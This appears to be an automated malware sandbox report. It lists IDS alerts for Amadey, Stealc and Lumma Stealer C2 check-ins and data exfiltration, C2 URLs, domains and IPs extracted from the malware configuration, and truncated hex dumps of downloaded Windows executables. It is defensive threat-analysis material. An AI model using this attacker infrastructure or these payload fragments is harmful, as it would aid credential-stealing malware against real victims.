Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49768 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49780
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49811 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49846 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49845 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49845 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49845
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49845 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49845
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49845 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49881 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49935 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49979 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50105 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:50353 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:50366
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50373 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50375 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50369 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:50381
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50385 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50446 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50419 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49833 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49817 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49817 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49824 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49949 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49824 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49900 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49875 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49875 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50016 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50000 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49899 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49899 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50102 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50102 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50131 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50131 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50146 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50146 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50147 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50147 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50157 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50173 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50370 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50370 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50374 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50384 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50384 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50368 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50368 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50380 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50386 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50386 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50424 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50439 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50439 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50445 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50422 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50379 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50447 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50437 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50437 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50450 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: unknown

Network traffic detected: DNS query count 33

Source: global traffic	TCP traffic: 192.168.2.4:50301 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.4:50300 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 20:04:08 GMTContent-Type: application/octet-streamContent-Length: 1883136Last-Modified: Mon, 18 Nov 2024 19:17:34 GMTConnection: keep-aliveETag: "673b92ce-1cbc00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 e6 72 3b 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 10 04 00 00 ba 00 00 00 00 00 00 00 60 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4a 00 00 04 00 00 da bd 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 70 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 71 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 60 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 2a 00 00 80 05 00 00 02 00 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 66 73 6e 70 76 79 64 00 30 1a 00 00 20 30 00 00 24 1a 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 69 65 76 72 64 68 69 00 10 00 00 00 50 4a 00 00 04 00 00 00 96 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 4a 00 00 22 00 00 00 9a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 20:04:13 GMTContent-Type: application/octet-streamContent-Length: 1835008Last-Modified: Mon, 18 Nov 2024 19:17:41 GMTConnection: keep-aliveETag: "673b92d5-1c0000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 b0 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 e0 6a 00 00 04 00 00 af f3 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2b 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 64 75 76 65 64 70 6a 00 70 1a 00 00 30 50 00 00 62 1a 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 70 61 6e 66 73 74 78 00 10 00 00 00 a0 6a 00 00 04 00 00 00 da 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 6a 00 00 22 00 00 00 de 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 20:04:21 GMTContent-Type: application/octet-streamContent-Length: 922112Last-Modified: Mon, 18 Nov 2024 19:15:48 GMTConnection: keep-aliveETag: "673b9264-e1200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 5c 92 3b 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 62 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 58 ba 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 80 a7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 80 a7 00 00 00 40 0d 00 00 a8 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 18 Nov 2024 20:04:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 20:04:27 GMTContent-Type: application/octet-streamContent-Length: 2800640Last-Modified: Mon, 18 Nov 2024 19:16:14 GMTConnection: keep-aliveETag: "673b927e-2abc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 f3 b7 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 